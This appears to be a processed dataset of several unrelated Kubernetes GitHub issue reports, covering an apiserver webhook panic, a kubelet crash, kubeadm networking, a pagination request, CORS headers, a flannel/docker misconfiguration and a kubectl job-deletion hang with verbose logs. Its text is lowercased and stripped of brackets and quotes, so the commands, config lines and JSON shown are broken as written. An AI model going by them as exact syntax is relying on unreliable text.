/usr/local/go/src/runtime/signal_unix.go:367\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating/admission.go:296\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating/admission.go:244\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics/metrics.go:85\r <autogenerated>:1\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/chain.go:35\r <autogenerated>:1\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics/metrics.go:85\r <autogenerated>:1\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/patch.go:98\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/patch.go:354\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest/update.go:184\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:529\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/store.go:734\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/store.go:305\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.go:553\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:527\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/patch.go:359\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:182\r /usr/local/go/src/runtime/asm_amd64.s:2337\r panic: runtime error: invalid memory address or nil pointer dereference  recovered \r         panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x10 pc=0x14aec8f \r \r goroutine 6165  running :\r k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0xc449137f78, 0x1, 0x1 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x111\r panic 0x33bd4c0, 0x9059170 \r         /usr/local/go/src/runtime/panic.go:491 +0x283\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating.  mutatingwebhook .callattrmutatinghook 0xc420302c80, 0x8ecad20, 0xc420014050, 0xc45e72ef00, 0x8ed6f40, 0xc44aee9930, 0x8eae8e0, 0xc445dd1c00, 0x8eae8e0, 0xc450b58000, ... \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating/admission.go:296 +0x2ff\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating.  mutatingwebhook .admit 0xc420302c80, 0x8ed6f40, 0xc44aee9930, 0x7f46c856e280, 0xc420302c80 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/plugin/webhook/mutating/admission.go:244 +0x405\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics.pluginhandlerwithmetrics.admit 0x8e9e220, 0xc420302c80, 0xc4201935e0, 0xc4201935f0, 0x1, 0x1, 0x8ed6f40, 0xc44aee9930, 0x1, 0x7f46c856e130 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics/metrics.go:85 +0xca\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics.  pluginhandlerwithmetrics .admit 0xc420f2b560, 0x8ed6f40, 0xc44aee9930, 0x7f46c856e130, 0xc420f2b560 \r         <autogenerated>:1 +0x5f\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.chainadmissionhandler.admit 0xc4200c4800, 0xe, 0x10, 0x8ed6f40, 0xc44aee9930, 0x1114d1b2, 0x1c281c373 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/chain.go:35 +0xf5\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission.  chainadmissionhandler .admit 0xc420f38b80, 0x8ed6f40, 0xc44aee9930, 0x7f46c856e190, 0xc420f38b80 \r         <autogenerated>:1 +0x62\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics.pluginhandlerwithmetrics.admit 0x8ea4c60, 0xc420f38b80, 0xc4202a20f0, 0x0, 0x0, 0x0, 0x8ed6f40, 0xc44aee9930, 0x1, 0xc44aee9930 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics/metrics.go:85 +0xca\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/admission/metrics.  pluginhandlerwithmetrics .admit 0xc420f43020, 0x8ed6f40, 0xc44aee9930, 0x7f46c856e101, 0xc420f43020 \r         <autogenerated>:1 +0x5f\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.patchresource.func1.1 0x8ea8260, 0xc42d465500, 0x8ea8260, 0xc42d464e00, 0xc44d3f3345, 0xc4547c7638 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/patch.go:98 +0x391\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.patchresource.func2 0x7f46c8897ac0, 0xc440c2c5d0, 0x8ea8260, 0xc42d465500, 0x8ea8260, 0xc42d464e00, 0x8ea8260, 0xc42d465500, 0x0, 0x0 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/patch.go:354 +0x4d\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest.  defaultupdatedobjectinfo .updatedobject 0xc440c2c870, 0x7f46c8897ac0, 0xc440c2c5d0, 0x8ea8260, 0xc42d464e00, 0xc4547c76a0, 0x46d169, 0x0, 0x0 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/rest/update.go:184 +0xbd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry.  store .update.func1 0x8ea8260, 0xc42d464e00, 0x0, 0x2d266a3c, 0x0, 0x0, 0x2d266a3c, 0xc42a869340, 0xc42a868fa8 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:529 +0x107\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3.  store .updatestate 0xc4200613b0, 0xc42a869340, 0xc42e64b0e0, 0x8ea8260, 0xc42d464e00, 0x0, 0x0, 0x0 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/store.go:734 +0x5b\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3.  store .guaranteedupdate 0xc4200613b0, 0x8ecada0, 0xc440c2c5d0, 0xc450aa9ad0, 0x23, 0x8ea8260, 0xc42d464a80, 0x1, 0xc421344580, 0xc42e64b0e0, ... \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/etcd3/store.go:305 +0x4c4\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage.  cacher .guaranteedupdate 0xc42135c000, 0x8ecada0, 0xc440c2c5d0, 0xc450aa9ad0, 0x23, 0x8ea8260, 0xc42d464a80, 0x1, 0xc421344580, 0xc42e64b0e0, ... \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/storage/cacher.go:553 +0x2e8\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry.  store .update 0xc420223e00, 0x7f46c8897ac0, 0xc440c2c5d0, 0xc45d478897, 0x14, 0x8eb10e0, 0xc440c2c870, 0xc440c2c630, 0xc440c2c840, 0x0, ... \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/registry/generic/registry/store.go:527 +0x442\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.patchresource.func3 0x18, 0x3c22c38, 0xc45d313778, 0x1 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/patch.go:359 +0xe3\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.finishrequest.func1 0xc4415e4960, 0xc4415e4840, 0xc4415e4900, 0xc4415e48a0 \r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:182 +0x8c\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers.finishrequest\r         /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/handlers/rest.go:175 +0xd4\r    \r \r   what you expected to happen  :\r \r not crash?   😉 \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r not sure, working on reproducing it.   it happened while i was working on a patched version of vpa-admission-controller.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.9\r - cloud provider or hardware configuration: bare metal\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  : 4.14.51\r - install tools: custom\r - others:\r

 \r   what happened  :\r \r kubelet crash caused by sigpipe when restarting journald\r \r      pid  4370  +++ killed by sigpipe +++\r      pid  8965  <... mprotect resumed>      = 0\r      pid  3909  +++ killed by sigpipe +++\r     mprotect 0x7f076abeb000, 16384, prot_read  = 0\r     --- sigterm {si_signo=sigterm, si_code=si_user, si_pid=1, si_uid=0} ---\r     +++ killed by sigterm +++ \r \r   what you expected to happen  :\r \r nothing, kubelet needs to keep running and logging continue\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kill -9 the journald process, it will cause kubelet to exit\r \r   anything else we need to know?  :\r \r noticed this while debugging issues we've seen which seem to be caused by crashes of journald.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.1\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : version=\ 16.04.5 lts  xenial xerus \ \r - kernel  e.g.  uname -a  :4.4.0-1065-aws / systemd 229-4ubuntu21.4\r

hello,\r \r   what is expected:   \r kubernetes cluster should be initialized with custom network interface provisioned by vagrant. \r \r   how to reproduce :  \r vagrant version :  2.1.4\r oracle virtualbox version : version 5.2.18 r124319  qt5.6.2 \r host os : win 8.1  64 bit , 8 gb ram\r \r two centos 7 boxes are provisioned. one is master and another is worker.\r using  vagraantfile    https://pastebin.com/zwhmnlzd , able to create vm and was able to execute all commands successfully. \r \r however,  kubeadm init  command always takes   10.x.x.x   range ip address rather than the one which i provided in the script.  172.x.x.x \r \r i am not sure why this is happening and how kubernetes decides which network interface to pick up at the time of initialization. \r i have gone to most k8s docs but never find the way to get it \r \r here is the doc i referred for vagrant networking: \r https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/\r https://www.vagrantup.com/docs/virtualbox/networking.html\r \r please suggest\r regards,\r

what would you like to be added  :\r return total size of all matched data sets when i call the api with \ limit\  and \ continue\ .\r \r   why is this needed  \r 1. to count the total pages for pagination.\r 2. i should query all data to get the total size without the \ total size\  property. \r

when calling  /api/v1/proxy/namespaces/$n/pods/$p:1234/  on a pod which returns cors headers, duplicate cors headers are returned  from the pod and from the api . the proxy should strip cors headers, just like the pod proxy does.  reported in https://github.com/openshift/origin/issues/2619 issuecomment-124502062  @csrwng

i got the same  notready  forever situation. but it seems the reason is different. first. the  kubelet  fail to listen on port  10250 , after checking the log in  /var/log/upstart/kubelet.log        failed to execute info   call to the docker client: dial unix /var/run/docker.sock: no such file or directory      it seems something wrong with the docker daemon.  ps aux | grep docker  shows there's no docker daemon running. then a  service docker start , it still can not running. checking  /var/log/upstart/docker.log       invalid value \ \  for flag --mtu: strconv.parseint: parsing \ \ : invalid syntax see '/usr/bin/docker daemon --help'.      checking  /etc/default/docker       docker_opts=\  -h tcp://127.0.0.1:4243 -h unix:///var/run/docker.sock --bip= --mtu=\       ok, seems faulty  docker_opts ,  checking   cluster/ubuntu/reconfdocker.sh l57        56   echo docker_opts=\\\ ${docker_opts} -h tcp://127.0.0.1:4243 -h unix:///var/run/docker.sock \\ 57        --bip=${flannel_subnet} --mtu=${flannel_mtu}\\\  > /etc/default/docker      it overrides the  /etc/default/docker  file with a empty  flannel_mtu  variable.  it seems the  /run/flannel/subnet.env  is not ready. here is the  /var/log/upstart/flannel.log       e1022 13:47:07.358500 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   40  e1022 13:47:08.359494 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   41  e1022 13:47:09.360408 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   41  e1022 13:47:10.361402 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   41  e1022 13:47:11.362882 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   41  e1022 13:47:12.364304 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   41  e1022 13:47:13.365258 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   41  e1022 13:47:14.366164 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   42  e1022 13:47:15.367156 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   43  e1022 13:47:16.368302 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   43  e1022 13:47:17.369218 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   43  e1022 13:47:18.370151 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   44  e1022 13:47:19.371078 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   44  e1022 13:47:20.372098 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   44  e1022 13:47:21.373025 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   44  e1022 13:47:22.374050 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   44  e1022 13:47:23.375099 18623 network.go:53  failed to retrieve network config: 100: key not found  /coreos.com   44

running   kubectl delete job <job name>       or   kubectl delete -f <job yaml definition>.yaml       causes kubectl to hang for approximately 10 minutes.       absent waiting 10 minutes, ctrl+c is required to kill the process       after 10 minutes, kubectl reports:      f0714 16:26:29.350802   10368 helpers.go:108  error: timed out waiting for the condition          this bug has caused major problems as jobs that have run for months have suddenly ceased to operate normally.      in essence, the kubectl binary just hangs up and does nothing unless verbosity is increased.      this occurs in:      $kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:26:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.0\ , gitcommit:\ 283137936a498aed572ee22af6774b6fb6e9fd94\ , gittreestate:\ clean\ , builddate:\ 2016-07-01t19:19:19z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }         background      i have a scheduled task that performs:      kubectl delete -f job.yaml kubectl create -f job.yaml          i did this to schedule tasks that need to run periodically and close. rather than having huge quantities of dead containers stacking up, we opted to use jobs instead.     debug information     adding verbosity 9:      kubectl delete job sproket_maker-3 --v=9 i0714 15:00:19.009628    7749 loader.go:327  config loaded from file /home/dstynchula/.kube/config i0714 15:00:19.010519    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/api i0714 15:00:19.327875    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/api 200 ok in 317 milliseconds i0714 15:00:19.327888    7749 round_trippers.go:324  response headers: i0714 15:00:19.327894    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:16 gmt i0714 15:00:19.327897    7749 round_trippers.go:327      content-length: 135 i0714 15:00:19.327900    7749 round_trippers.go:327      content-type: application/json i0714 15:00:19.327928    7749 request.go:891  response body: {\ kind\ :\ apiversions\ ,\ versions\ : \ v1\  ,\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } } i0714 15:00:19.328086    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/apis i0714 15:00:19.398573    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis 200 ok in 70 milliseconds i0714 15:00:19.398585    7749 round_trippers.go:324  response headers: i0714 15:00:19.398588    7749 round_trippers.go:327      content-type: application/json i0714 15:00:19.398591    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:16 gmt i0714 15:00:19.398594    7749 round_trippers.go:327      content-length: 1649 i0714 15:00:19.398623    7749 request.go:891  response body: {\ kind\ :\ apigrouplist\ ,\ groups\ : {\ name\ :\ apps\ ,\ versions\ : {\ groupversion\ :\ apps/v1alpha1\ ,\ version\ :\ v1alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ apps/v1alpha1\ ,\ version\ :\ v1alpha1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ autoscaling\ ,\ versions\ : {\ groupversion\ :\ autoscaling/v1\ ,\ version\ :\ v1\ } ,\ preferredversion\ :{\ groupversion\ :\ autoscaling/v1\ ,\ version\ :\ v1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ batch\ ,\ versions\ : {\ groupversion\ :\ batch/v1\ ,\ version\ :\ v1\ },{\ groupversion\ :\ batch/v2alpha1\ ,\ version\ :\ v2alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ batch/v1\ ,\ version\ :\ v1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ extensions\ ,\ versions\ : {\ groupversion\ :\ extensions/v1beta1\ ,\ version\ :\ v1beta1\ } ,\ preferredversion\ :{\ groupversion\ :\ extensions/v1beta1\ ,\ version\ :\ v1beta1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ policy\ ,\ versions\ : {\ groupversion\ :\ policy/v1alpha1\ ,\ version\ :\ v1alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ policy/v1alpha1\ ,\ version\ :\ v1alpha1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ rbac.authorization.k8s.io\ ,\ versions\ : {\ groupversion\ :\ rbac.authorization.k8s.io/v1alpha1\ ,\ version\ :\ v1alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ rbac.authorization.k8s.io/v1alpha1\ ,\ version\ :\ v1alpha1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } } } i0714 15:00:19.399553    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/api i0714 15:00:19.469695    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/api 200 ok in 70 milliseconds i0714 15:00:19.469706    7749 round_trippers.go:324  response headers: i0714 15:00:19.469710    7749 round_trippers.go:327      content-type: application/json i0714 15:00:19.469713    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:16 gmt i0714 15:00:19.469715    7749 round_trippers.go:327      content-length: 135 i0714 15:00:19.469740    7749 request.go:891  response body: {\ kind\ :\ apiversions\ ,\ versions\ : \ v1\  ,\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } } i0714 15:00:19.469849    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/apis i0714 15:00:19.540326    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis 200 ok in 70 milliseconds i0714 15:00:19.540337    7749 round_trippers.go:324  response headers: i0714 15:00:19.540340    7749 round_trippers.go:327      content-type: application/json i0714 15:00:19.540343    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:17 gmt i0714 15:00:19.540346    7749 round_trippers.go:327      content-length: 1649 i0714 15:00:19.540372    7749 request.go:891  response body: {\ kind\ :\ apigrouplist\ ,\ groups\ : {\ name\ :\ apps\ ,\ versions\ : {\ groupversion\ :\ apps/v1alpha1\ ,\ version\ :\ v1alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ apps/v1alpha1\ ,\ version\ :\ v1alpha1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ autoscaling\ ,\ versions\ : {\ groupversion\ :\ autoscaling/v1\ ,\ version\ :\ v1\ } ,\ preferredversion\ :{\ groupversion\ :\ autoscaling/v1\ ,\ version\ :\ v1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ batch\ ,\ versions\ : {\ groupversion\ :\ batch/v1\ ,\ version\ :\ v1\ },{\ groupversion\ :\ batch/v2alpha1\ ,\ version\ :\ v2alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ batch/v1\ ,\ version\ :\ v1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ extensions\ ,\ versions\ : {\ groupversion\ :\ extensions/v1beta1\ ,\ version\ :\ v1beta1\ } ,\ preferredversion\ :{\ groupversion\ :\ extensions/v1beta1\ ,\ version\ :\ v1beta1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ policy\ ,\ versions\ : {\ groupversion\ :\ policy/v1alpha1\ ,\ version\ :\ v1alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ policy/v1alpha1\ ,\ version\ :\ v1alpha1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ rbac.authorization.k8s.io\ ,\ versions\ : {\ groupversion\ :\ rbac.authorization.k8s.io/v1alpha1\ ,\ version\ :\ v1alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ rbac.authorization.k8s.io/v1alpha1\ ,\ version\ :\ v1alpha1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } } } i0714 15:00:19.541964    7749 round_trippers.go:299  curl -k -v -xget  -h \ accept: application/json,  / \  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  https://api.internal.prod.kubernetes.local/api i0714 15:00:19.612162    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/api 200 ok in 70 milliseconds i0714 15:00:19.612176    7749 round_trippers.go:324  response headers: i0714 15:00:19.612180    7749 round_trippers.go:327      content-length: 135 i0714 15:00:19.612183    7749 round_trippers.go:327      content-type: application/json i0714 15:00:19.612187    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:17 gmt i0714 15:00:19.612213    7749 request.go:891  response body: {\ kind\ :\ apiversions\ ,\ versions\ : \ v1\  ,\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } } i0714 15:00:19.612330    7749 round_trippers.go:299  curl -k -v -xget  -h \ user-agent: kubectl/v1.3.0  linux/amd64  kubernetes/2831379\  -h \ accept: application/json,  / \  https://api.internal.prod.kubernetes.local/apis i0714 15:00:19.682754    7749 round_trippers.go:318  get https://api.internal.prod.kubernetes.local/apis 200 ok in 70 milliseconds i0714 15:00:19.682773    7749 round_trippers.go:324  response headers: i0714 15:00:19.682780    7749 round_trippers.go:327      content-type: application/json i0714 15:00:19.682786    7749 round_trippers.go:327      date: thu, 14 jul 2016 22:00:17 gmt i0714 15:00:19.682791    7749 round_trippers.go:327      content-length: 1649 i0714 15:00:19.682827    7749 request.go:891  response body: {\ kind\ :\ apigrouplist\ ,\ groups\ : {\ name\ :\ apps\ ,\ versions\ : {\ groupversion\ :\ apps/v1alpha1\ ,\ version\ :\ v1alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ apps/v1alpha1\ ,\ version\ :\ v1alpha1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ autoscaling\ ,\ versions\ : {\ groupversion\ :\ autoscaling/v1\ ,\ version\ :\ v1\ } ,\ preferredversion\ :{\ groupversion\ :\ autoscaling/v1\ ,\ version\ :\ v1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ batch\ ,\ versions\ : {\ groupversion\ :\ batch/v1\ ,\ version\ :\ v1\ },{\ groupversion\ :\ batch/v2alpha1\ ,\ version\ :\ v2alpha1\ } ,\ preferredversion\ :{\ groupversion\ :\ batch/v1\ ,\ version\ :\ v1\ },\ serveraddressbyclientcidrs\ : {\ clientcidr\ :\ 0.0.0.0/0\ ,\ serveraddress\ :\ 172.30.91.140:443\ } },{\ name\ :\ extensions\ ,\ versions\ : {\ groupversion\ :\ extensions/v1beta1\ ,\ version\ :\ v1beta1\ } ,\ preferredversion\ :{\ groupversion\ :\ extensions/v1beta1\ ,\ version\ 